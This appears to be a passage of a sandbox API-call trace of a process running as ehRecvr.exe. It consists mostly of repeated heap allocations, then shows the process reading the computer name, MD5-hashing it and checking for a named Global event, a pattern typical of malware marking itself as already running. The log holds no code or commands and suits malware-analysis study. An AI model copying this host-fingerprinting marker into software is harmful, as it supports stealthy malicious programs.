RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.961] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.962] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.962] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.963] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.965] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.965] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.966] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0137.952] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x1a7fe94 | out: BaseAddress=0x1a7fe94*=0x75cf0000) returned 0x0 [0137.970] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0137.970] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x1a7fec0 | out: pNumArgs=0x1a7fec0) returned 0x814790*="C:\\Windows\\ehome\\ehRecvr.exe" [0137.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0137.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0137.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e268 [0137.971] LocalFree (hMem=0x814790) returned 0x0 [0137.971] Wow64DisableWow64FsRedirection (in: OldValue=0x1a7febc | out: OldValue=0x1a7febc*=0x0) returned 1 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x800) returned 0x988e88 [0137.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x988e88, nSize=0x200 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e840 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0137.971] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x989690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0137.971] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0137.971] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0137.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x987ee8 [0137.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x987ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x987f30 [0137.971] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987ee8) returned 1 [0137.971] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x987ee8 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x987f78 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x987fc0 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988008 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988050 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988098 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x982850 [0137.971] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0137.971] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0137.971] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0137.972] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0137.972] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818d68, lpbSaclPresent=0x1a7fcf0, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcf0 | out: lpbSaclPresent=0x1a7fcf0, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcf0) returned 1 [0137.972] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0137.972] CreateEventA (lpEventAttributes=0x1a7fd38, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0137.972] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0137.972] GetLastError () returned 0x0 [0137.972] LocalFree (hMem=0x818d68) returned 0x0 [0137.972] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0137.972] CryptAcquireContextW (in: phProv=0x1a7fd28, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7fd28*=0x838618) returned 1 [0137.973] CryptCreateHash (in: hProv=0x838618, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1a7fd28 | out: phHash=0x1a7fd28) returned 1 [0137.973] CryptHashData (hHash=0x81fcd8, pbData=0x987f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0137.973] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x4, pbData=0x1a7fd2c, pdwDataLen=0x1a7fd38, dwFlags=0x0 | out: pbData=0x1a7fd2c, pdwDataLen=0x1a7fd38) returned 1 [0137.974] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x2, pbData=0x9880e0, pdwDataLen=0x1a7fd2c, dwFlags=0x0 | out: pbData=0x9880e0, pdwDataLen=0x1a7fd2c) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988128 [0137.974] CryptDestroyHash (hHash=0x81fcd8) returned 1 [0137.974] CryptReleaseContext (hProv=0x838618, dwFlags=0x0) returned 1 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9880e0 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988128) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988128 [0137.974] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0137.974] GetLastError () returned 0x2 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x982850 [0137.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0137.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0137.974] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0137.975] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0137.975] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818d68, lpbSaclPresent=0x1a7fcf0, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcf0 | out: lpbSaclPresent=0x1a7fcf0, pSacl=0x1a7fd44, lpbSaclDefaulted=0x1a7fcf0) returned 1 [0137.975] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0137.975] CreateEventA 